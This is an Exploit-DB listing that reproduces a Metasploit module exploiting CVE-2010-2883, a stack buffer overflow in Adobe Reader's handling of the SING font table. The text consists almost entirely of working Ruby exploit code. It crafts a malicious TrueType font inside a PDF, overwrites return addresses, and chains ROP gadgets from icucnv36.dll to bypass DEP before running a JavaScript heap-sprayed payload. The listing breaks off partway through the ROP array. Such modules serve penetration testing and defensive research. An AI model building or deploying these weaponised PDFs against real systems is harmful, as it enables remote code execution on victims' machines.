Exploit-DB #16619
Description: Adobe CoolType - SING Table 'uniqueName' Local Stack Buffer Overflow (Metasploit) (2)
Type: local
Platform: windows
Date: 2010-09-25
Author: Metasploit

Exploit:
##
# $Id: adobe_cooltype_sing.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
				handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
				assumed to be vulnerable as well.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Unknown',    # 0day found in the wild
					'@sn0wfl0w',  # initial analysis
					'@vicheck',   # initial analysis
					'jduck'       # Metasploit module
				],
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'CVE', '2010-2883' ],
					[ 'OSVDB', '67849'],
					[ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
					[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC'             => 'process',
					'InitialAutoRunScript' => 'migrate -f',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
					# Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd
					[ 'Automatic', { }],
				],
			'DisclosureDate' => 'Sep 07 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
			], self.class)
	end

	def exploit
		ttf_data = make_ttf()

		js_data = make_js(payload.encoded)

		# Create the pdf
		pdf = make_pdf(ttf_data, js_data)

		print_status("Creating '#{datastore['FILENAME']}' file...")

		file_create(pdf)
	end

	def make_ttf
		ttf_data = ""

		# load the static ttf file

		# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
		path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
		fd = File.open( path, "rb" )
		ttf_data = fd.read(fd.stat.size)
		fd.close

		# Build the SING table
		sing = ''
		sing << [
			0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
			0xe01,  # glyphletVersion
			0x100,  # embeddingInfo
			0,      # mainGID
			0,      # unitsPerEm
			0,      # vertAdvance
			0x3a00  # vertOrigin
		].pack('vvvvvvvv')
		# uniqueName
		# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
		#sing << "A" * (0x254 - sing.length)
		sing << rand_text(0x254 - sing.length)

		# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
		sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')

		# This becomes our new EIP (puts esp to stack buffer)
		ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
		sing[0x208, 4] = [ret].pack('V')

		# This becomes the new eip after the first return
		ret = 0x4a82a714
		sing[0x18, 4] = [ret].pack('V')

		# This becomes the new esp after the first return
		esp = 0x0c0c0c0c
		sing[0x1c, 4] = [esp].pack('V')

		# Without the following, sub_801ba57 returns 0.
		sing[0x24c, 4] = [0x6c].pack('V')

		ttf_data[0xec, 4] = "SING"
		ttf_data[0x11c, sing.length] = sing

		ttf_data
	end

	def make_js(encoded_payload)

		# The following executes a ret2lib using icucnv36.dll
		# The effect is to bypass DEP and execute the shellcode in an indirect way
		stack_data = [
			0x41414141,   # unused
			0x4a8063a5,   # pop ecx / ret
			0x4a8a0000,   # becomes ecx

			0x4a802196,   # mov [ecx],eax / ret # save whatever eax starts as

			0x4a801f90,   # pop eax / ret
			0x4a84903c,   # becomes eax (import for CreateFileA)

			# -- call CreateFileA
			0x4a80b692,   # jmp [eax]

			0x4a801064,   # ret

			0x4a8522c8,   # first arg to CreateFileA (lpFileName / pointer to "iso88591")
			0x10000000,   # second arg  - dwDesiredAccess
			0x00000000,   # third arg   - dwShareMode
			0x00000000,   # fourth arg  - lpSecurityAttributes
			0x00000002,   # fifth arg   - dwCreationDisposition
			0x00000102,   # sixth arg   - dwFlagsAndAttributes
			0x00000000,   # seventh arg - hTemplateFile

			0x4a8063a5,   # pop ecx / ret
			0x4a801064,   # becomes ecx

			0x4a842db2,   # xchg eax,edi / ret

			0x4a802ab1,   # pop ebx / ret
			0x00000008,   # becomes ebx - offset to modify

			#
			# This points at a neat-o block of code that ... TBD
			#
			#   and [esp+ebx*2],edi
			#   jne check_slash
			# ret_one:
			#   mov al,1
			#   ret
			# check_slash:
			#   cmp al,0x2f
			#   je ret_one
			#   cmp al,0x41
			#   jl check_lower
			#   cmp al,0x5a
			#   jle check_ptr
			# check_lower:
			#   cmp al,0x61
			#   jl ret_zero
			#   cmp al,0x7a
			#   jg ret_zero
			#   cmp [ecx+1],0x3a
			#   je ret_one
			# ret_zero:
			#   xor al,al
			#   ret
			#

			0x4a80a8a6,   # execute fun block

			0x4a801f90,   # pop eax / ret
			0x4a849038,   # becomes eax (import for CreateFileMappingA)

			# -- call CreateFileMappingA
			0x4a80b692,   # jmp [eax]

			0x4a801064,   # ret

			0xffffffff,   # arguments to CreateFileMappingA, hFile
			0x00000000,   # lpAttributes
			0x00000040,   # flProtect
			0x00000000,   # dwMaximumSizeHigh
			0x00010000,   # dwMaximumSizeLow
			0x00000000,   # lpName

			0x4a8063a5,   # pop ecx / ret
			0x4a801064,   # becomes ec